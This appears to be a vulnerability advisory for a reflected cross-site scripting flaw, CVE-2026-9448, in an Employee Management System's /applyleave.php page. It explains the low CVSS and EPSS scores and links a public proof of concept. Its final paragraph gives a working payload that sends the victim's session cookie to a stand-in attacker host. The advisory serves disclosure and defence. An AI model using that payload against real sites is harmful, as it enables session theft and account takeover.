Employee Management System CVE-2026-9448

The vulnerable endpoint /applyleave.php must be reachable by the attacker (AV:N), and the id URL parameter must be reflected unsanitized in the server's HTML response - this is the direct technical precondition. Critically, user interaction is required (UI:P): a victim must visit the attacker-supplied crafted URL, meaning the attack depends on a social engineering or phishing step to succeed. No authentication is required from the attacker (PR:N), but the victim must be a user whose browser will render the response. Exploitation is limited by: (1) mandatory victim interaction - fully automated exploitation without victim participation is not possible per CVSS UI:P; (2) impact scope limited to the victim's browser session with no server-side or cross-user persistence (SC:N, no stored XSS); (3) very low EPSS (0.03%) suggesting this specific application is uncommon in production environments targeted by automated scanners.

The CVSS 4.0 base score of 2.1 reflects the limited real-world impact: AV:N (network-reachable) and AC:L/AT:N (no complexity or preconditions) indicate ease of reaching the vulnerable endpoint, but PR:N/UI:P means no authentication is needed yet victim interaction is mandatory - a meaningful friction point. The impact metrics (VC:N/VI:L/VA:N/SC:N) confirm only limited confidentiality and integrity effects, scoped to the victim's browser session. EPSS at 0.03% (10th percentile) corroborates that this vulnerability is not being exploited at scale in the wild. No CISA KEV listing. A public POC exists on GitHub (https://github.com/zzzxc643/CVE1/blob/main/EMPLOYEE_MANAGEMENT_SYSTEM/vul19.md), which elevates reproducibility but does not evidence active exploitation. Overall, this is a low-priority, low-severity finding relevant primarily to organizations that have deployed this specific open-source application externally facing or in contexts where phishing-style URL delivery to staff is a concern.

An attacker crafts a URL targeting the vulnerable endpoint such as /applyleave.php?id=<script>document.location='https://attacker.com/steal?c='+document.cookie</script> and delivers it via phishing email or message to an employee using the application. When the victim clicks the link and their browser renders the unsanitized response, the injected script executes in the context of the Employee Management System origin, potentially exfiltrating session cookies or performing actions on behalf of the victim. A public POC demonstrating this technique is available at https://github.com/zzzxc643/CVE1/blob/main/EMPLOYEE_MANAGEMENT_SYSTEM/vul19.md.